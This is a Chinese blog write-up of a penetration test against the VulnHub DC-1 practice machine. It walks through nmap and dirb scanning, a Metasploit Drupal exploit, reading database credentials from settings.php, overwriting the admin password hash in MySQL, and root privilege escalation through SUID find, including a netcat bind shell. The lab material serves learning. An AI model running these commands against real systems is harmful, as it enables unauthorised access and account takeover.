IdeFun

努力不一定成功,但不努力真的很舒服。

0%

基于vulnhub的DC-1靶机的渗透测试

基于vulnhub的DC-1靶机的渗透测试

实验准备

靶机下载:https://www.vulnhub.com/entry/dc-1,292/

DC1需要找到5个flag,最终目标是在root的主目录中找到并读取该标志!

kali要桥接

信息收集

查看kali的IP

发现IP为

192.168.1.101

使用nmap扫描靶机IP

其中192.168.1.107是我本机IP,则靶机可能的IP为

192.168.1.102
192.168.1.103
192.168.1.106

接下来ping测试

发现192.168.1.103和192.168.1.106ping不通,则靶机ip为

192.168.1.102

继续查看端口开放状态

nmap -sC -sV 192.168.1.102 -p- --min-rate=2000 -n -vv 

发现开放了22端口(ssh),80端口(http),111和60431端口,并且采用的是Drupal 7框架,有个robots.txt

边界突破

访问网站

判断为动态网站

查看robots.txt

没有发现有用的信息

目录扫描

dirb http://192.168.1.102

发现几个可疑目录

admin,root,user,/includes/Root,访问后如下

使用Metasploit framework搜索Drupal

search Drupal

尝试利用第一个

use exploit/unix/webapp/drupal_coder_exec 
show options

接下来需要配置rhost,如果第一次使用可能需还要配置lhost和lport,即监听机的ip和端口

然后exploit 或者 run

发现失败了

尝试第二个,发现成功

执行命令shell命令获得shell

使用python反弹shell,获得更好的交互体验

python -c 'import pty;pty.spawn("/bin/bash")'

使用ls查看当前目录下文件

发现有个flag1.txt文件,使用cat命令查看

flag1:“每一个好的内容管理系统 都需要一个配置文件”——配置文件里面肯定有东西

进入sites/dafault,发现有个settings.php

查看settings.php

发现flag2

flag2
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?

同时发现数据库的库名(drupaldb),用户名(dbuser)和密码(R0ck3t)

尝试登录数据库

mysql -udbuser -pR0ck3t
# 登陆数据库
use drupaldb;
# 使用 drupaldb 数据库

查询users表

select * from users;

发现有两个用户admin和Fred,但密码经过加密

退出数据库,尝试修改admin的密码

cd /var/www/
php scripts/password-hash.sh 123 > pwd.txt
#将123通过哈希加密
cat pwd.txt

得到’123’哈希加密后的密码

$S$D0jEFt4XLx.7zA5.tCIDN2GBMsL2W6jtMxr6fE7Lt/Mct6ctCkqD

进入数据库,修改admin密码

mysql -udbuser -pR0ck3t
# 进入数据库
use drupaldb;
# 使用 drupaldb 数据库
update users set pass = '$S$D0jEFt4XLx.7zA5.tCIDN2GBMsL2W6jtMxr6fE7Lt/Mct6ctCkqD' where name = 'admin';
# 将密码改为123
truncate flood;
# 如果错误密码太多被锁定的话,这条语句可以解除锁定

此时查看users表

select * from users;

可见admin的密码已经修改为123哈希加密后的密码

登录网站后台

登录成功

点击Find content

发现flag3,点击edit查看

得到flag3

Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
#提示我们使用find执行操作

find / -type f -perm -u=s 2>/dev/null

未发现有用的信息,查看/etc/passwd

cat /etc/passwd

发现有个flag4的用户

进入flag4目录,发现有个flag4.txt,查看得到flag4

flag4

Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

接下来尝试获取最终flag

方法一:

find ./ aaa -exec '/bin/sh' \;

得到root权限

方法二:

find flag4.txt -exec nc -lvp 2333 -e /bin/sh \;
# 靶机开启监听
nc 192.168.1.102 2333
#渗透主机连接shell

查看/root目录

得到thefinalflag

-------------本文结束感谢您的阅读-------------